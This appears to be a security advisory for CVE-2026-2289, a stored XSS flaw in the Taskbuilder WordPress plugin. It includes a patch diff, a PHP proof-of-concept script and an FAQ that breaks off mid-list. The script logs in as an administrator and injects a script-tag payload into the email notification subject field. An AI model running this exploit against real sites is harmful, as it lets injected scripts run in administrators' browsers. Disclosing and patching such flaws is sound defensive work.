+ <option value="1" <?php selected( $wppm_default_email_notification_to_current_user, '1' ); ?>>
+ <?php esc_html_e( 'Enable', 'taskbuilder' ); ?>
+ </option>
+ <option value="0" <?php selected( $wppm_default_email_notification_to_current_user, '0' ); ?>>
+ <?php esc_html_e( 'Disable', 'taskbuilder' ); ?>
+ </option>
+</select>
<hr>
<?php do_action('wppm_get_en_gerneral_settings');?>
<button type="submit" class="wppm-submit-btn"><?php echo esc_html_e('Save Changes','taskbuilder');?></button>
--- a/taskbuilder/includes/admin/email_notifications/wppm_get_en_task_notifications.php
+++ b/taskbuilder/includes/admin/email_notifications/wppm_get_en_task_notifications.php
@@ -24,10 +24,10 @@
$type = isset($notification_types[$type]) ? $notification_types[$type] : '';
?>
<tr>
- <td><?php echo htmlentities(esc_attr($type))?></td>
+ <td><?php echo (esc_attr($type))?></td>
<td>
<div class="wppm_flex">
- <div onclick="wppm_get_edit_email_notification(<?php echo esc_attr($key)?>);" style="cursor:pointer;"><span><img src="<?php echo esc_url( WPPM_PLUGIN_URL . 'asset/images/edit_01.svg'); ?>" alt="edit"></span></div>
+ <div onclick="wppm_get_edit_email_notification(<?php echo esc_js($key)?>);" style="cursor:pointer;"><span><img src="<?php echo esc_url( WPPM_PLUGIN_URL . 'asset/images/edit_01.svg'); ?>" alt="edit"></span></div>
</div>
</td>
</tr>
--- a/taskbuilder/includes/admin/email_notifications/wppm_get_templates.php
+++ b/taskbuilder/includes/admin/email_notifications/wppm_get_templates.php
@@ -118,5 +118,5 @@
'footer' => $footer
);
-echo json_encode($output);
+echo wp_json_encode($output);
?>
No newline at end of file
--- a/taskbuilder/includes/admin/email_notifications/wppm_set_edit_email_notification.php
+++ b/taskbuilder/includes/admin/email_notifications/wppm_set_edit_email_notification.php
@@ -3,19 +3,29 @@
exit; // Exit if accessed directly
}
global $current_user, $wppmfunction;
-if (!($current_user->ID && $current_user->has_cap('wppm_admin') || $current_user->has_cap('manage_options'))) {
- exit;
-}
if ( check_ajax_referer( 'wppm_set_edit_email_notification', '_ajax_nonce', false ) != 1 ) {
wp_send_json_error( 'Unauthorised request!', 401 );
}
+
+if ( ! current_user_can('wppm_admin') && ! current_user_can('manage_options') ) {
+ wp_send_json_error( 'Permission denied', 403 );
+}
$wppm_email_notificatins = get_option('wppm_email_notification');
-$term_id = isset($_POST) && isset($_POST['id']) ? intval(sanitize_text_field($_POST['id'])) : 0;
+$term_id = isset($_POST['id'])
+ ? absint( wp_unslash( $_POST['id'] ) )
+ : 0;
+$term_id = isset($_POST) && isset($_POST['id']) ? absint(sanitize_text_field(wp_unslash($_POST['id']))) : 0;
if(!$term_id) die();
-$type = isset($_POST) && isset($_POST['wppm_en_type']) ? sanitize_text_field($_POST['wppm_en_type']) : '';
-$subject = isset($_POST) && isset($_POST['wppm_en_subject']) ? sanitize_text_field($_POST['wppm_en_subject']) : '';
+$type = isset($_POST) && isset($_POST['wppm_en_type']) ? sanitize_text_field(wp_unslash($_POST['wppm_en_type'])) : '';
+$subject = isset($_POST) && isset($_POST['wppm_en_subject']) ? sanitize_text_field(wp_unslash($_POST['wppm_en_subject'])) : '';
$allowed_tags = array( 'br' => array(), 'abbr' => array('title' => array(),), 'p' => array(), 'strong' => array(), 'a' => array('href' => array(), 'title' => array(),'target'=> array(), 'rel'=>array()),'em' =>array(),'span' =>array(), 'blockquote'=>array('cite' => array(),),'div' => array('class' => array(),'title' => array(),'style' => array(),),'ul'=>array(),'li'=>array(),'ol'=>array(),'img' => array( 'alt'=> array(),'class' => array(),'height' => array(),'src'=> array(),'width'=> array(),));
-$body = isset($_POST) && isset($_POST['wppm_en_body']) ? wp_kses(stripslashes(htmlspecialchars_decode($_POST['wppm_en_body'], ENT_QUOTES)),$allowed_tags) : '';
+$body = '';
+
+if ( !empty( $_POST['wppm_en_body'] ) ) {
+ $body = wp_kses_post(
+ wp_unslash( $_POST['wppm_en_body'] )
+ );
+}
$recipients = isset($_POST) && isset($_POST['wppm_en_recipients']) ? $wppmfunction->sanitize_array($_POST['wppm_en_recipients']) : array();
foreach($wppm_email_notificatins as $key=>$val){
if($key==$term_id){
@@ -29,5 +39,8 @@
}
do_action('wppm_set_edit_email_notification',$term_id);
-
-echo '{ "sucess_status":"1","messege":"'.__('Email Notification updated successfully.','taskbuilder').'" }';
+echo wp_json_encode( array(
+ 'sucess_status' => 1,
+ 'messege' => esc_html__( 'Email Notification updated successfully.', 'taskbuilder' ),
+) );
+wp_die();
No newline at end of file
--- a/taskbuilder/includes/admin/email_notifications/wppm_set_en_general_setting.php
+++ b/taskbuilder/includes/admin/email_notifications/wppm_set_en_general_setting.php
@@ -4,26 +4,30 @@
}
global $current_user, $wppmfunction;
-if (!($current_user->ID && $current_user->has_cap('wppm_admin') || $current_user->has_cap('manage_options'))) {
- exit;
-}
if ( check_ajax_referer( 'wppm_set_en_general_settings', '_ajax_nonce', false ) != 1 ) {
wp_send_json_error( 'Unauthorised request!', 401 );
}
+if (!($current_user->ID && $current_user->has_cap('wppm_admin') || $current_user->has_cap('manage_options'))) {
+ exit;
+}
// From Name
-$from_name = isset($_POST) && isset($_POST['wppm_en_from_name']) ? sanitize_text_field($_POST['wppm_en_from_name']) : '';
+$from_name = isset($_POST) && isset($_POST['wppm_en_from_name']) ? sanitize_text_field(wp_unslash($_POST['wppm_en_from_name'])) : '';
update_option('wppm_en_from_name',$from_name);
// From Email
-$from_email = isset($_POST) && isset($_POST['wppm_en_from_email']) ? sanitize_text_field($_POST['wppm_en_from_email']) : '';
+$from_email = isset($_POST) && isset($_POST['wppm_en_from_email']) ? sanitize_text_field(wp_unslash($_POST['wppm_en_from_email'])) : '';
update_option('wppm_en_from_email',$from_email);
// Block emails
-$ignore_emails = isset($_POST) && isset($_POST['wppm_en_ignore_emails']) ? explode("n", ($_POST['wppm_en_ignore_emails'])) : array();
+$ignore_emails = isset($_POST) && isset($_POST['wppm_en_ignore_emails']) ? explode("n", (wp_unslash($_POST['wppm_en_ignore_emails']))) : array();
$ignore_emails = $wppmfunction->sanitize_array($ignore_emails);
update_option('wppm_en_ignore_emails',$ignore_emails);
do_action('wppm_set_en_gerneral_settings');
-echo '{ "sucess_status":"1","messege":"'.__('Settings saved.','taskbuilder').'" }';
+echo wp_json_encode( array(
+ 'sucess_status' => 1,
+ 'messege' => esc_html__( 'Settings saved.', 'taskbuilder' ),
+) );
+wp_die();
--- a/taskbuilder/includes/admin/licenses.php
+++ b/taskbuilder/includes/admin/licenses.php
@@ -7,11 +7,18 @@
exit;
}
$is_addons = apply_filters( 'wppm_is_add_on_installed', false );
+$addons_url = 'https://taskbuilder.net/add-ons/';
if($is_addons) {
- $license_messege = __('Enter your add-ons license keys here to receive updates for purchased add-ons. If your license key has expired, please renew your license.','taskbuilder');
+ $license_message = __('Enter your add-ons license keys here to receive updates for purchased add-ons. If your license key has expired, please renew your license.','taskbuilder');
} else {
- $license_messege = '<h4>'.sprintf(__('No add-ons installed. See available add-ons - %1$s.','taskbuilder'),'<a href="https://taskbuilder.net/add-ons/" target="_blank">https://taskbuilder.net/add-ons/</a>').'</h4>';
+ $license_message = sprintf(
+ __('No add-ons installed. See available add-ons - %1$s.', 'taskbuilder'),
+ '<a href="' . esc_url($addons_url) . '" target="_blank" rel="noopener noreferrer">'
+ . esc_html($addons_url) .
+ '</a>'
+ );
}
+$license_message = '<h4>' . $license_message . '</h4>';
?>
<div class="wppm_bootstrap">
@@ -19,7 +26,7 @@
<?php echo esc_html_e('License','taskbuilder');?>
</h3>
<div class="wppm_padding_space"></div>
- <div class="row" style="margin-bottom:20px;"><?php echo html_entity_decode($license_messege)?></div>
+ <div class="row" style="margin-bottom:20px;"><?php echo !empty($license_message) ? wp_kses_post($license_message) : ''; ?></div>
<div class="row"><?php do_action('wppm_addon_license_area')?></div>
<div id="wppm_alert_success" class="alert alert-success wppm_alert" style="display:none;" role="alert">
--- a/taskbuilder/includes/admin/projects/filters/wppm_project_search_filter.php
+++ b/taskbuilder/includes/admin/projects/filters/wppm_project_search_filter.php
@@ -7,14 +7,14 @@
if (!($current_user->ID && $current_user->has_cap('manage_options')) || !($current_user->ID && $current_user->has_cap('wppm_admin'))) {exit;}
$old_search_term = get_user_meta($current_user->ID, 'wppm_current_filter_result');
-$search_tag = isset($_POST) && isset($_POST['project_search']) ? sanitize_text_field($_POST['project_search']) : '';
+$search_tag = isset($_POST) && isset($_POST['project_search']) ? sanitize_text_field(wp_unslash($_POST['project_search'])) : '';
$search_tag = '%'.$search_tag.'%';
$search_tag = array('search_tag'=>$search_tag);
if (!empty($search_tag)) {exit;}
foreach( $search_tag as $key=>$val){
if($key == 'search_tag'){
$val = esc_sql($val);
- $query = "SELECT * FROM {$wpdb->prefix}wppm_project where project_name LIKE $wpdb->esc_like( '$val' )";
+ $query = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}wppm_project where project_name LIKE %s", $val);
}
}
$new_search_term = array('search_tag'=>$query);
--- a/taskbuilder/includes/admin/projects/get_users.php
+++ b/taskbuilder/includes/admin/projects/get_users.php
@@ -4,10 +4,9 @@
}
global $wpdb,$wppmfunction,$current_user;
$wppm_users_role = get_option('wppm_user_role');
-$proj_id = isset($_POST['proj_id']) ? sanitize_text_field($_POST['proj_id']) : '' ;
-$proj_id = esc_sql($proj_id);
+$proj_id = isset($_POST['proj_id']) ? absint(sanitize_text_field(wp_unslash($_POST['proj_id']))) : '' ;
$wppm_current_user_capability = get_user_meta( $current_user->ID, 'wppm_capability', true );
-$project = $wpdb->get_row( "SELECT * FROM {$wpdb->prefix}wppm_project where id = '$proj_id'" );
+$project = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}wppm_project where id = %d", $proj_id));
if (!(($current_user->ID && $current_user->has_cap('manage_options')) || $wppmfunction->has_project_permission('assign_project_users',$proj_id) || ($project->created_by==$current_user->ID && $wppm_current_user_capability == 'wppm_manager') || ($current_user->ID && $current_user->has_cap('wppm_admin')))) {exit;}
if(!empty($project->users)){
$users = explode(",",$project->users);
@@ -24,29 +23,28 @@
<div id="wppm_user_display_container_<?php echo esc_attr($user)?>" class="row wppm_user_display_container">
<?php
$userdata = get_userdata( $user );
- $user = esc_sql($user);
- $project_user = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = '$proj_id' AND user_id = '$user'");
+ $user = absint($user);
+ $project_user = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}wppm_project_users WHERE proj_id = %d AND user_id = %d", $proj_id, $user));
?>
<div class="flex-container col-sm-4">
<span class="wppm_filter_display_text">
- <?php echo esc_html_e($userdata->display_name,'taskbuilder'); ?>
+ <?php echo esc_html($userdata->display_name); ?>
<input type="hidden" name="user_names[]" value="<?php echo esc_attr($user) ?>">
</span>
</div>
<div class="col-sm-4 wppm_user_role">
- <select size="sm" class="form-control" id="wppm_select_user_role_<?php echo esc_attr($user) ?>" name="wppm_select_user_role_<?php echo esc_attr($user) ?>">
- <?php
- if(!empty($wppm_users_role)){
- foreach($wppm_users_role as $key=>$role){
- if(!empty($role)){
- foreach($role as $k=>$val){
- $selected = (!empty($project_user) && $key == $project_user->role_id) ? 'selected="selected"' : '';
- ?><option <?php echo $selected?> value="<?php echo esc_attr($key) ?>"><?php echo esc_html_e($role['label'],'taskbuilder') ?></option><?php
- }
- }
- }
- }
- ?>
+ <select size="sm" class="form-control" id="wppm_select_user_role_<?php echo esc_attr( $user ); ?>" name="wppm_select_user_role_<?php echo esc_attr( $user ); ?>">
+ <?php if ( ! empty( $wppm_users_role ) ) : ?>
+ <?php foreach ( $wppm_users_role as $key => $role ) : ?><?php
+ $selected = ( ! empty( $project_user ) && $key == $project_user->role_id )
+ ? 'selected="selected"'
+ : '';
+ ?>
+ <option <?php echo esc_attr( $selected ); ?> value="<?php echo esc_attr( $key ); ?>">
+ <?php echo esc_html( $role['label'] ); ?>
+ </option>
+ <?php endforeach; ?>
+ <?php endif; ?>
</select>
</div>
<div class="col-sm-4 wppm_delete_user_icon">
@@ -56,7 +54,7 @@
</div>
<?php }
} else{
- ?><span class="wppm_project_users_not_assign_label"><?php echo esc_html_e('None','wp_projects');?></span><?php
+ ?><span class="wppm_project_users_not_assign_label"><?php echo esc_html_e('None','taskbuilder');?></span><?php
}
?>
</div>
@@ -108,7 +106,7 @@
foreach($wppm_users_role as $key=>$role){
if(!empty($role)){
foreach($role as $k=>$val){
- ?>'<option value="<?php echo esc_attr($key) ?>"><?php echo esc_html_e($role['label'],'taskbuilder') ?></option>'+<?php
+ ?>'<option value="<?php echo esc_attr($key) ?>"><?php echo esc_html($role['label']) ?></option>'+<?php
}
}
}
@@ -141,4 +139,4 @@
'body' => $body,
'footer' => $footer
);
-echo json_encode($output);
No newline at end of file
+echo wp_json_encode($output);
No newline at end of file
--- a/taskbuilder/includes/admin/projects/open_project/wppm_change_project_visibility.php
+++ b/taskbuilder/includes/admin/projects/open_project/wppm_change_project_visibility.php
@@ -6,15 +6,14 @@
if ( check_ajax_referer( 'wppm_change_project_visibility', '_ajax_nonce', false ) != 1 ) {
wp_send_json_error( 'Unauthorised request!', 401 );
}
-$project_id = isset($_POST['project_id']) ? sanitize_text_field($_POST['project_id']) : '' ;
-$project_id = esc_sql($project_id);
+$project_id = isset($_POST['project_id']) ? absint(sanitize_text_field(wp_unslash($_POST['project_id']))) : '' ;
$project = $wppmfunction->get_project($project_id);
$wppm_current_user_capability = get_user_meta( $current_user->ID, 'wppm_capability', true );
if (!(($current_user->ID && $current_user->has_cap('manage_options')) || ($current_user->ID && $current_user->has_cap('wppm_admin')) || ($project['created_by']==$current_user->ID && $wppm_current_user_capability == 'wppm_manager'))) {exit;}
-$wppm_project_visibility = isset($_POST['project_visibility']) ? sanitize_text_field($_POST['project_visibility']):"0";
-$wppm_project_visibility = esc_sql($wppm_project_visibility );
-$id = $wpdb->get_var("SELECT id FROM {$wpdb->prefix}wppm_project_meta WHERE project_id = '$project_id' AND meta_key ='public_project'");
-$id = esc_sql($id);
+$wppm_project_visibility = isset($_POST['project_visibility']) ? sanitize_text_field(wp_unslash($_POST['project_visibility'])):"0";
+$wppm_project_visibility = absint($wppm_project_visibility );
+$id = $wpdb->get_var($wpdb->prepare("SELECT id FROM {$wpdb->prefix}wppm_project_meta WHERE project_id = %d AND meta_key ='public_project'", $project_id));
+$id = absint($id);
if(empty($id )){
$wppmfunction->add_project_meta($project_id,'public_project',$wppm_project_visibility);
}elseif(!empty($id)){
--- a/taskbuilder/includes/admin/projects/open_project/wppm_delete_proj_thread.php
+++ b/taskbuilder/includes/admin/projects/open_project/wppm_delete_proj_thread.php
@@ -3,9 +3,9 @@
exit; // Exit if accessed directly
}
global $wpdb,$wppmfunction,$current_user;
-$proj_id = isset($_POST['proj_id']) ? intval(sanitize_text_field($_POST['proj_id'])) : '' ;
+$proj_id = isset($_POST['proj_id']) ? intval(sanitize_text_field(wp_unslash($_POST['proj_id']))) : '' ;
$projectdata = $wppmfunction->get_project($proj_id);
-$comment_id = isset($_POST['comment_id']) ? sanitize_text_field($_POST['comment_id']) : 0 ;
+$comment_id = isset($_POST['comment_id']) ? intval(sanitize_text_field(wp_unslash($_POST['comment_id']))) : 0 ;
$project_comment = $wppmfunction->get_proj_comment($comment_id);
if (!(($current_user->ID && $current_user->has_cap('manage_options')) || $wppmfunction->has_proj_comment_permission('delete_proj_thread',$proj_id,$comment_id) || ($current_user->ID && $current_user->has_cap('wppm_admin')) || ($current_user->has_cap('wppm_manager') && $projectdata['created_by']==$current_user->ID ))) {exit;}
ob_start();
@@ -14,8 +14,8 @@
<p><?php echo esc_html_e('Are you sure to delete this thread?','taskbuilder');?></p>
<input type="hidden" name="action" value="wppm_set_delete_proj_thread" />
<input type="hidden" name="_ajax_nonce" value="<?php echo esc_attr( wp_create_nonce( 'wppm_set_delete_proj_thread' ) ); ?>">
- <input type="hidden" name="proj_id" value="<?php echo htmlentities(esc_attr($proj_id))?>" />
- <input type="hidden" name="comment_id" value="<?php echo htmlentities(esc_attr($comment_id))?>" />
+ <input type="hidden" name="proj_id" value="<?php echo (esc_attr($proj_id))?>" />
+ <input type="hidden" name="comment_id" value="<?php echo (esc_attr($comment_id))?>" />
</form>
<?php
$body = ob_get_clean();
@@ -33,5 +33,5 @@
'body' => $body,
'footer' => $footer
);
-echo json_encode($output);
+echo wp_json_encode($output);
?>
No newline at end of file
--- a/taskbuilder/includes/admin/projects/open_project/wppm_drag_and_drop_card.php
+++ b/taskbuilder/includes/admin/projects/open_project/wppm_drag_and_drop_card.php
@@ -6,9 +6,9 @@
if ( check_ajax_referer( 'wppm_drag_and_drop_card', '_ajax_nonce', false ) != 1 ) {
wp_send_json_error( 'Unauthorised request!', 401 );
}
-$wppm_card = isset($_POST) && isset($_POST['el']) ? sanitize_text_field($_POST['el']) : '';
+$wppm_card = isset($_POST) && isset($_POST['el']) ? sanitize_text_field(wp_unslash($_POST['el'])) : '';
if (!$wppm_card) {exit;}
-$target_task_status = isset($_POST) && isset($_POST['target']) ? sanitize_text_field($_POST['target']) : '';
+$target_task_status = isset($_POST) && isset($_POST['target']) ? sanitize_text_field(wp_unslash($_POST['target'])) : '';
if (!$wppm_card) {exit;}
$wppm_card_id= substr($wppm_card, 20);
if($wppmfunction->has_permission('change_task_status',$wppm_card_id)){
@@ -20,12 +20,20 @@
$wppmfunction->change_status( $task_id, $status_id);
$change_task_value = array('prev_status'=>"$old_status_id",'new_status'=>"$status_id");
$change_task_obj = serialize($change_task_value);
- $log_values = array('task_id'=>"$task_id",'body'=>$change_task_obj,'attachment_ids'=>"",'create_time'=>date("Y-m-d h:i:sa"),'created_by'=>"$current_user->ID" );
+ $log_values = array('task_id'=>"$task_id",'body'=>$change_task_obj,'attachment_ids'=>"",'create_time'=>wp_date("Y-m-d h:i:sa"),'created_by'=>"$current_user->ID" );
$wpdb->insert($wpdb->prefix . 'wppm_task_comment',$log_values);
$log_id = esc_sql($wpdb->insert_id);
$task_log_values = array('task_id'=>"$task_id",'comment_id'=>"$log_id",'comment_type'=>'change_task_status');
$wpdb->insert($wpdb->prefix . 'wppm_task_comment_meta',$task_log_values);
- echo '{ "sucess_status":"1","messege":"Success" }';
+ echo wp_json_encode( array(
+ 'sucess_status' => 1,
+ 'messege' => esc_html__( 'Success.', 'taskbuilder' ),
+ ) );
+ wp_die();
}else{
- echo '{ "sucess_status":"0","messege":"You do not have permission to change this task status." }';
+ echo wp_json_encode( array(
+ 'sucess_status' => 0,
+ 'messege' => esc_html__( 'You do not have permission to change this task status.', 'taskbuilder' ),
+ ) );
+ wp_die();
}
--- a/taskbuilder/includes/admin/projects/open_project/wppm_edit_project_creator.php
+++ b/taskbuilder/includes/admin/projects/open_project/wppm_edit_project_creator.php
@@ -3,7 +3,7 @@
exit; // Exit if accessed directly
}
global $wpdb,$wppmfunction,$current_user;
-$project_id = isset($_POST['id']) ? sanitize_text_field($_POST['id']) : '' ;
+$project_id = isset($_POST['id']) ? intval(sanitize_text_field(wp_unslash($_POST['id']))) : '' ;
$project_data = $wppmfunction->get_project($project_id);
$wppm_current_user_capability = get_user_meta( $current_user->ID, 'wppm_capability', true );
if (!(($current_user->ID && $current_user->has_cap('manage_options')) || $wppmfunction->has_project_permission('change_project_raised_by',$project_id) || ($project_data['created_by']==$current_user->ID && $wppm_current_user_capability=='wppm_manager') || $wppm_current_user_capability=='wppm_admin')) {exit;}
@@ -15,17 +15,17 @@
<div class="row" style="padding-left:2px;">
<div class="col-sm-12">
<label class="wppm_ct_field_label" for="user_name"><?php echo esc_html_e('Project Creator Name','taskbuilder') ?> </label>
- <input type="text" id="project_creator_name" class="form-control wppm_regi_user_autocomplete ui-autocomplete-input" name="wppm_project_creator_name" autocomplete="off" value="<?php echo htmlentities(stripcslashes(esc_attr($project_creator->display_name)))?>">
+ <input type="text" id="project_creator_name" class="form-control wppm_regi_user_autocomplete ui-autocomplete-input" name="wppm_project_creator_name" autocomplete="off" value="<?php echo ((esc_attr($project_creator->display_name)))?>">
</div>
</div>
<input type="hidden" name="action" value="wppm_set_change_project_raised_by" />
<input type="hidden" name="_ajax_nonce" value="<?php echo esc_attr( wp_create_nonce( 'wppm_set_change_project_raised_by' ) ); ?>">
<input type="hidden" name="wppm_user_id" id="wppm_user_id" value="<?php echo esc_attr($project_creator->ID) ?>">
- <input type="hidden" name="project_id" value="<?php echo htmlentities(esc_attr($project_id)) ?>" />
+ <input type="hidden" name="project_id" value="<?php echo (esc_attr($project_id)) ?>" />
</form>
<style>
li {
- color:<?php echo esc_attr( $settings['body-text-color'])?>!important;
+ color:<?php echo esc_attr( $settings['body-text-color'])?>!important;wppm_edit_project_details
}
</style>
<script type="text/javascript">
@@ -67,4 +67,4 @@
'footer' => $footer
);
-echo json_encode($output);
No newline at end of file
+echo wp_json_encode($output);
No newline at end of file
--- a/taskbuilder/includes/admin/projects/open_project/wppm_edit_project_details.php
+++ b/taskbuilder/includes/admin/projects/open_project/wppm_edit_project_details.php
@@ -4,9 +4,9 @@
}
global $wpdb,$wppmfunction,$current_user;
-$id = isset($_POST['id']) ? sanitize_text_field($_POST['id']) : '' ;
-$id = esc_sql($id);
-$project = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}wppm_project where id = '$id'" );
+$id = isset($_POST['id']) ? absint(sanitize_text_field(wp_unslash($_POST['id']))) : '' ;
+$id = absint($id);
+$project = $wpdb->get_results( $wpdb->prepare("SELECT * FROM {$wpdb->prefix}wppm_project where id = %d", $id) );
$project_data = $wppmfunction->get_project($id);
$wppm_current_user_capability = get_user_meta( $current_user->ID, 'wppm_capability', true );
if (!(($current_user->ID && $current_user->has_cap('manage_options')) || $wppmfunction->has_project_permission('change_project_details',$id) || ($project_data['created_by']==$current_user->ID && $wppm_current_user_capability=='wppm_manager') || $wppm_current_user_capability=='wppm_admin')) {exit;}
@@ -77,14 +77,14 @@
<div class="row" style="padding-left:2px;">
<div class="col-sm-12">
<textarea id="wppm_edit_project_description" class="form-control" name="wppm_edit_project_description">
- <?php echo stripslashes(htmlspecialchars_decode(esc_textarea($project_data['description']),ENT_QUOTES)); ?>
+ <?php echo !empty($project_data['description']) ? wp_kses_post(wpautop($project_data['description'])) : ''; ?>
</textarea>
</div>
</div>
<input type="hidden" name="action" value="wppm_set_change_project_details" />
<input type="hidden" name="_ajax_nonce" value="<?php echo esc_attr( wp_create_nonce( 'wppm_set_change_project_details' ) ); ?>">
- <input type="hidden" name="project_id" value="<?php echo htmlentities(esc_attr($id)) ?>" />
+ <input type="hidden" name="project_id" value="<?php echo (esc_attr($id)) ?>" />
</form>
<script>
jQuery( document ).ready( function( jQuery ) {
@@ -134,7 +134,7 @@
ob_start();
?>
<button type="button" class="btn wppm_popup_close" onclick="wppm_modal_close();"><?php echo esc_html_e('Close','taskbuilder');?></button>
-<button type="button" class="btn wppm_popup_action" onclick="wppm_set_change_project_details(<?php echo htmlentities(esc_attr($id))?>);"><?php echo esc_html_e('Save','taskbuilder');?></button>
+<button type="button" class="btn wppm_popup_action" onclick="wppm_set_change_project_details(<?php echo esc_attr($id)?>);"><?php echo esc_html_e('Save','taskbuilder');?></button>
<?php
$footer = ob_get_clean();
@@ -142,5 +142,5 @@
'body' => $body,
'footer' => $footer
);
-echo json_encode($output);
+echo wp_json_encode($output);
?>
--- a/taskbuilder/includes/admin/projects/open_project/wppm_edit_project_status.php
+++ b/taskbuilder/includes/admin/projects/open_project/wppm_edit_project_status.php
@@ -3,7 +3,7 @@
exit; // Exit if accessed directly
}
global $wpdb,$wppmfunction,$current_user;
-$project_id = isset($_POST['id']) ? sanitize_text_field($_POST['id']) : '' ;
+$project_id = isset($_POST['id']) ? intval(sanitize_text_field(wp_unslash($_POST['id']))) : '' ;
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2289 - Taskbuilder – Project Management & Task Management Tool With Kanban Board <= 5.0.3 - Authenticated (Administrator+) Stored Cross-Site Scripting
<?php
/**
* Proof of Concept for CVE-2026-2289
* Requires administrator credentials for the target WordPress site
* This script demonstrates stored XSS via the email notification subject field
*/
$target_url = 'http://target-wordpress-site.com';
$username = 'admin';
$password = 'password';
// First, authenticate to get cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
// Get login page to retrieve nonce
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
$login_page = curl_exec($ch);
// Extract nonce from login form (simplified - real implementation should parse properly)
preg_match('/name="log" value="([^"]+)"/', $login_page, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';
// Perform login
$post_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_result = curl_exec($ch);
// Check if login succeeded by looking for admin dashboard
if (strpos($login_result, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
// Now exploit the vulnerability by first creating a malicious email notification
// We need to find an existing notification ID to edit
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// First, get list of notifications to find an ID
$post_data = [
'action' => 'wppm_get_email_notifications'
];
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$response = curl_exec($ch);
// Parse response to get notification ID (simplified)
// In real scenario, you would parse the JSON response
$notification_id = 1; // Assuming ID 1 exists
// Now inject XSS payload into the subject field
// The payload will execute when admin views email notification settings
$xss_payload = '"><script>alert(document.domain)</script>';
$exploit_data = [
'action' => 'wppm_set_edit_email_notification',
'id' => $notification_id,
'wppm_en_subject' => $xss_payload,
'wppm_en_body' => 'Test body',
'wppm_en_type' => 'project_created',
'wppm_en_recipient' => 'project_users',
'wppm_en_recipient_role' => '1'
];
curl_setopt($ch, CURLOPT_POSTFIELDS, $exploit_data);
$exploit_result = curl_exec($ch);
echo 'XSS payload injected. Visit ' . $target_url . '/wp-admin/admin.php?page=wppm-email-notifications to trigger.';
// Verify the injection by retrieving the edited notification
$verify_data = [
'action' => 'wppm_get_edit_email_notification',
'id' => $notification_id
];
curl_setopt($ch, CURLOPT_POSTFIELDS, $verify_data);
$verify_response = curl_exec($ch);
// Check if payload is in response
if (strpos($verify_response, $xss_payload) !== false) {
echo 'nVulnerability confirmed: XSS payload found in response.';
}
curl_close($ch);
?>
Frequently Asked Questions
What is CVE-2026-2289?
Understanding the vulnerabilityCVE-2026-2289 is a stored Cross-Site Scripting (XSS) vulnerability in the Taskbuilder plugin for WordPress, affecting versions up to and including 5.0.3. It allows authenticated users with administrator-level access to inject arbitrary scripts into the email notification settings, which can execute when other users access the affected page.
Who is affected by this vulnerability?
Identifying impacted usersThis vulnerability affects WordPress installations using the Taskbuilder plugin version 5.0.3 or earlier, particularly in multi-site setups or where the ‘unfiltered_html’ capability is disabled. Only authenticated users with administrator-level privileges can exploit this vulnerability.
How can I check if my site is vulnerable?
Assessing your installationTo determine if your site is vulnerable, check the version of the Taskbuilder plugin installed. If it is version 5.0.3 or earlier, your site is at risk. Additionally, verify if your installation is a multi-site setup or if the ‘unfiltered_html’ capability is disabled for users.
How can I fix this vulnerability?
Updating the pluginThe recommended fix is to update the Taskbuilder plugin to version 5.0.4 or later, which includes a patch for this vulnerability. Regularly updating all plugins and themes is a best practice to mitigate security risks.
What does the severity rating of Medium mean?
Understanding risk levelsA medium severity rating, with a CVSS score of 4.4, indicates that while the vulnerability is not critical, it poses a significant risk if exploited. Attackers with administrator access can leverage this vulnerability to perform harmful actions, making it essential to address it promptly.
What are the practical implications of this vulnerability?
Potential risksIf exploited, this vulnerability allows attackers to execute scripts as an administrator, which can lead to unauthorized actions such as creating new admin accounts or modifying site settings. This could compromise the integrity and security of the entire WordPress site.
How does the proof of concept demonstrate the vulnerability?
Explaining the PoCThe proof of concept provided shows how an authenticated attacker can exploit the vulnerability by injecting a malicious script into the email notification subject field. This script executes when an administrator views the settings page, illustrating the ease of exploitation.
What steps can I take to mitigate risks if I cannot update immediately?
Temporary measuresIf immediate updating is not possible, consider restricting access to the WordPress admin area to trusted users only. Additionally, monitor user activities and review settings for any unauthorized changes until the plugin can be updated.
What is stored Cross-Site Scripting (XSS)?
Defining the attack typeStored Cross-Site Scripting (XSS) is a type of vulnerability where an attacker can inject malicious scripts into a web application. These scripts are then stored on the server and executed when other users access the affected content, potentially leading to data theft or session hijacking.
What should I do if I suspect my site has been compromised?
